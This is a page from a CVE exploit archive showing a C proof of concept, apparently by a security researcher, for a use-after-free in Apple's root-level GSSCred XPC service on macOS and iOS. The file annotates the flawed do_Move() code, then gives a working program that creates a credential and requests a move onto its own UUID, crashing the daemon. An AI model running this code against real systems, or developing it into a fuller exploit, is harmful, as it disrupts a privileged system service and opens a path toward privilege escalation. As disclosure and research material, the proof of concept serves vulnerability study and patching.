4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / GSSCred-move-uaf.c C
/*
 * GSSCred-move-uaf.c
 * Brandon Azad
 *
 * The com.apple.GSSCred XPC service, which runs as root on macOS and iOS, implements the "move"
 * command improperly, leading to a use-after-free condition in the do_Move() function.
 *
 * The do_Move() function is responsible for changing the UUID under which a HeimCredRef object is
 * stored in a per-session CFDictionary. The problem occurs when the source and destination UUIDs
 * are the same. In this case, the do_Move() function will inadvertently free the HeimCredRef
 * object and then dereference it, passing a value read from freed memory as the first parameter to
 * CFDictionaryGetValue(). Exploitation hinges on overwriting the freed memory with controlled data
 * during this window.
 *
 * This program is a proof-of-concept exploit for this vulnerability that causes the GSSCred
 * service to crash. Tested on macOS High Sierra 10.13.2 Beta 17C79a.
 *
 */
#if 0
static void
do_Move(struct peer *peer, xpc_object_t request, xpc_object_t reply)
{
	//
	// 1. from and to are fully controlled UUID objects deserialized from the XPC request.
	//
	CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
	CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());

	if (from == NULL || to == NULL) {
		CFRELEASE_NULL(from);
		CFRELEASE_NULL(to);
		return;
	}

	if (!checkACLInCredentialChain(peer, from, NULL) || !checkACLInCredentialChain(peer, to, NULL)) {
		CFRelease(from);
		CFRelease(to);
		return;
	}

	//
	// 2. credfrom and credto are HeimCredRef objects looked up by the from and to UUIDs.
	//    CFDictionaryGetValue() returns the objects without adding a reference. Note that if
	//    the from and to UUIDs are the same, then credfrom and credto will both reference the
	//    same object.
	//
	HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
	HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);

	if (credfrom == NULL) {
		CFRelease(from);
		CFRelease(to);
		return;
	}


	//
	// 3. credfrom is removed from the dictionary. Since there was only one reference
	//    outstanding, this causes credfrom to be freed.
	//
	CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
	CFDictionaryRemoveValue(peer->session->items, from);
	credfrom = NULL;

	CFDictionarySetValue(newattrs, kHEIMAttrUUID, to);

	//
	// 4. At this point we check credto. If credfrom and credto refer to the same object, then 
	//    credto is a non-NULL pointer to the freed HeimCredRef object.
	//
	if (credto == NULL) {
		credto = HeimCredCreateItem(to);
		heim_assert(credto != NULL, "out of memory");

		HeimCredAssignMech(credto, newattrs);

		credto->attributes = newattrs;
		CFDictionarySetValue(peer->session->items, credto->uuid, credto);
		CFRelease(credto);

	} else {
		//
		// 5. Now we dereference credto, passing a value read from freed memory as a
		//    CFDictionaryRef object to CFDictionaryGetValue().
		//
		CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
		if (parentUUID)
			CFDictionarySetValue(newattrs, kHEIMAttrParentCredential, parentUUID);
		CFRELEASE_NULL(credto->attributes);
		credto->attributes = newattrs;
	}

	/*
	 * delete all child entries for to UUID
	 */
	DeleteChildren(peer->session, to);

	/*
	 * update all child entries for from UUID
	 */
	struct fromto fromto = {
		.from = from,
		.to = to,
	};
	CFDictionaryApplyFunction(peer->session->items, UpdateParent, &fromto);

	notifyChangedCaches();
	HeimCredCTX.needFlush = 1;
}
#endif


#include <assert.h>
#include <stdio.h>
#include <xpc/xpc.h>

const char *GSSCRED_SERVICE_NAME = "com.apple.GSSCred";

int main() {
	xpc_connection_t connection;
	xpc_object_t request, reply, attributes;
	uuid_t uuid = { 0xab };
	char *desc;

	// Create and activate a connection to GSSCred.
	connection = xpc_connection_create_mach_service(GSSCRED_SERVICE_NAME, NULL, 0);
	assert(connection != NULL);
	xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
		char *desc = xpc_copy_description(object);
		printf("Event: %s\n", desc);
		free(desc);
	});
	xpc_connection_activate(connection);

	// Call do_CreateCred() in order to create a HeimCredRef object under a known UUID.
	attributes = xpc_dictionary_create(NULL, NULL, 0);
	xpc_dictionary_set_string(attributes, "kHEIMObjectType", "kHEIMObjectKerberos");
	xpc_dictionary_set_string(attributes, "kHEIMAttrType",   "kHEIMTypeKerberos");
	xpc_dictionary_set_uuid(  attributes, "kHEIMAttrUUID",   uuid);
	request = xpc_dictionary_create(NULL, NULL, 0);
	xpc_dictionary_set_string(request, "command",    "create");
	xpc_dictionary_set_value( request, "attributes", attributes);
	xpc_release(attributes);
	reply = xpc_connection_send_message_with_reply_sync(connection, request);
	xpc_release(request);
	desc = xpc_copy_description(reply);
	xpc_release(reply);
	printf("%s: %s\n", "create", desc);
	free(desc);

	// Call do_Move() to move the HeimCredRef object we just created from its current UUID back
	// to its current UUID. A logic error in do_Move() leads to a use-after-free, likely
	// crashing the GSSCred daemon.
	request = xpc_dictionary_create(NULL, NULL, 0);
	xpc_dictionary_set_string(request, "command", "move");
	xpc_dictionary_set_uuid(  request, "from",    uuid);
	xpc_dictionary_set_uuid(  request, "to",      uuid);
	reply = xpc_connection_send_message_with_reply_sync(connection, request);
	xpc_release(request);
	desc = xpc_copy_description(reply);
	xpc_release(reply);
	printf("%s: %s\n", "move", desc);
	free(desc);

	// Let the event handler finish.
	xpc_release(connection);
	usleep(5000);

	return 0;
}